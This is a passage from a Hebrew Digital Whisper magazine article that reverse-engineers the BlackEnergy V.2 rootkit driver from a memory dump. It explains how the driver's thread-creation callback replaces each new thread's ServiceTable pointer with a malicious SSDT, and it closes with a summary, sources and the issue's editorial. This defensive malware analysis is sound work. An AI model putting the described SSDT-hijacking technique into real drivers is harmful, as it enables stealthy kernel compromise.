 :xFF3665502( מצביע לכתובת dword_FF0D52B0כשנלקח הזיכרון )DriverEntry -שמועבר להראשון 

 

 icqogwp חשודה Driver-של ה DriverObject-נראה את מבנה ה volshell-כשנסתכל על הכתובת הזו ב

 :שראינו בתחילת החקירה
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ThreadCreationCallback 

-עשה שימוש ברישום ל Driver-על קובץ הזיכרון, שה Callbacksבתחילת החקירה זיהינו בעזרת הרצת 

Thread Notifications. 

 :Disassembly-את חתימת הפונקציה ונזהה את הפרמטרים ונעדכן בהתאם ב MSDN-נבדוק ב

 

 :sub_FF0D2E1Aלפונקציית העזר  TID-וה PID-שולחת את ה Callback-פונקציית התחילה 

 

שהתקבל. לאחר מכן מכניסה  PID-של התהליך בעל ה EPROCESS-ה פונקציית העזר משיגה את אוביקט

 :0x190-שווה לdword_FF0D5340 -כש Offset EPROCESS + dword_FF0D5340-את הכתובת שב v4-ל
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 כשכל ,Process-של ה Threads-שמחבר את כל ה LIST_ENTRYיש אובייקט  Offset EPROCESS+0x190-ב

Thread  מיוצג ע"י אובייקטETHREAD: 

 

-יכיל את הכתובת של ה v5-הראשון( ו ETHREAD-הבא )ה FLink-יכיל את הכתובת של ה v4-מכאן ש

ETHREAD הכתובת שב( השני-FLink היא הכתובת של ה-LIST_ENTRY )במידה וקיים יותר  הבא ברשימה

 :2-ב IRQL105-מעלה את ה Driver-ה ,אחד לתהליך Thread-מ

 

אנחנו צריכים לבצע פעולות  LIST_ENTRY-ולא עם ה ETHREAD-מאחר ואנחנו רוצים לעבוד עם אוביקט ה

שבו  CONTAINING_RECORD43 Macro-לזה נועד ה -ובכך לקבל את המצביע הנכון  v5מתמטיות על 

 :35הפונקציה משתמשת בשורה 

 

)שורה  Offset ETHREAD + 0x1EC + 4-שהתקבל כפרמטר לערך שנמצא ב TID-לאחר מכן משווה את ה

 :החדש שנוצר Thread-של ה TID-לאחר תרגום(, שמצביע ל 36

 

 .הזהה TID-בעל ה -ETHREADשמצביע ל v8הפונקציה מחזירה את 
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 :(9בשורה  Create-נוצר )דגל ה Thread-נראה שהפונקציה בודקת אם הsub_FF0D2EA7 -כשנחזור ל 

 
 

 Thread-של ה ServiceTable-שמצביע ל ETHREAD + 0xE0-הערך שנמצא בבמידה וכן היא מחליפה את 

 :SSDT-פונה לטבלת ה Thread-החדש, שבעזרתו ה

 

הזדוני  SSDT-אותו מכניסה הפונקציה הוא המצביע ל dword_FF0D5398 מכאן אפשר להניח שהמשתנה

 :יוצר Driver-שה

 

 

  



 
 

BlackEnergy V.2 - Full Driver Reverse Engineering 
www.DigitalWhisper.co.il 

 92  2021 פברואר ,126גליון 
 

 סיכום

זיכרון מלא של מערכת ההפעלה היא ראיה חזקה מאד שבזמן אמת מסוגלת להעניק לצוותי חקירה יכולת 

ניתוח מלאה של המתווה והתמודדות מהירה עם תקיפה, אך יחד עם זאת ייתכן שהמידע שכלי ניתוח 

מעמיק כדי להבין את מתווה התקיפה  Reverse Engineeringהזיכרון מעניקים לא מספיק ונדרש ביצוע 

 לעומק.

חשוד דרך קובץ זיכרון:  Driverבמאמר זה ניסינו להציג את דרכי הפעולה שניתן להפעיל ברגע שמזהים 

ותיקון מרחב הכתובות, זיהוי הסתרות והתגברות  Dumpמרגע זיהוי הראיות בזיכרון )הוצג חלקית(, ביצוע 

, ועד לחקירה מלאה וזיהוי Dissasembly-י להעלים ראיות, פישוט ההזדונ Driver-על ניסיונות כותב ה

 מנגנוני הפעולה העיקריים שלו.

BlackEnergy השתמש ב-Driver שתפקד כ-Rootkit  מורכב שביצע מעקב בזמן ריצתו והחביא ראיות

, שאפשר Reflective Driver Loaderשעלולות להסגיר את פעילותו הזדונית. חלק מהיכולות הללו כללו גם 

אחר שהתוקף יבחר ובכך להמשיך להסלמת יכולות התוקף  Driverלבצע "טעינה שקטה" של כל  Driver-ל

 על עמדתה שנתקפה והרחבת התקיפה. 

במטרה להבין את כל המרכיבים שלו  Driver-החקירה שביצענו העמיקה מאד במבנה הפנימי שניהל ה

, הצלבת מידע, שכתוצאה מכך Driver-שונות של הוכללה מעקב אחר ערכים המשותפים לפוקנציות ה

  הזדוניים ששימשו אותו: Modules-ושאר ה Driver-סייעה לנו להרכיב את כל המבנים בהם ה
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וכו'..(, ולראות איך שאר הרכיבים  icqogwpאתם מוזמנים להמשיך את החקירה מאיפה שהפסקנו )

 , מה הוא נועד להסתיר ואיך הגיע לעמדה.Driver-בתרחיש התקיפה מנצלים את היכולות של ה

 :סיכום החקירהתרשים 

 מקורות

 https://www.amazon.com/Windows-Kernel-Programming-Pavel-Yosifovich/dp/1977593372 

 https://docs.microsoft.com/en-us/windows-hardware/drivers/ 

 https://www.vergiliusproject.com/ 

 https://www.codeproject.com/Articles/800404/Understanding-LIST-ENTRY-Lists-and-Its-

Importance 

 https://www.freepik.com/ 

 https://thenounproject.com/ 

 https://www.onlinewebfonts.com/ 

 https://www.geoffchappell.com/ 

  

https://www.amazon.com/Windows-Kernel-Programming-Pavel-Yosifovich/dp/1977593372
https://docs.microsoft.com/en-us/windows-hardware/drivers/
https://www.vergiliusproject.com/
https://www.codeproject.com/Articles/800404/Understanding-LIST-ENTRY-Lists-and-Its-Importance
https://www.codeproject.com/Articles/800404/Understanding-LIST-ENTRY-Lists-and-Its-Importance
https://www.freepik.com/
https://thenounproject.com/
https://www.onlinewebfonts.com/
https://www.geoffchappell.com/


 
 

 דברי סיכום
www.DigitalWhisper.co.il 

 92  2021 פברואר ,126גליון 
 

 דברי סיכום
 

ווים כי נהנתם מהגליון והכי , אנו מאוד מקDigital Whisperשל  126-בזאת אנחנו סוגרים את הגליון ה

למדתם ממנו. כמו בגליונות הקודמים, גם הפעם הושקעו הרבה מחשבה, יצירתיות, עבודה קשה  :חשוב

 .כדי להביא לכם את הגליון רבותושעות שינה 

 

עמוד "צור קשר" באתר שלנו, או לשלוח אותן לדואר האלקטרוני ניתן לשלוח כתבות וכל פניה אחרת דרך 

 .editor@digitalwhisper.co.ilשלנו, בכתובת 

 

 על מנת לקרוא גליונות נוספים, ליצור עימנו קשר ולהצטרף לקהילה שלנו, אנא בקרו באתר המגזין:

www.DigitalWhisper.co.il 
"T4lk1n' 80ut a r3vo7u710n 5ounds like a wh15p3r" 

 

 .2021 פרוארבסוף ון הבא ייצא הגלי

 

 אפיק קסטיאל,         

 ניר אדר,         

         31.01.2021 

 
 

mailto:editor@digitalwhisper.co.il
http://www.digitalwhisper.co.il/
http://www.digitalwhisper.co.il/

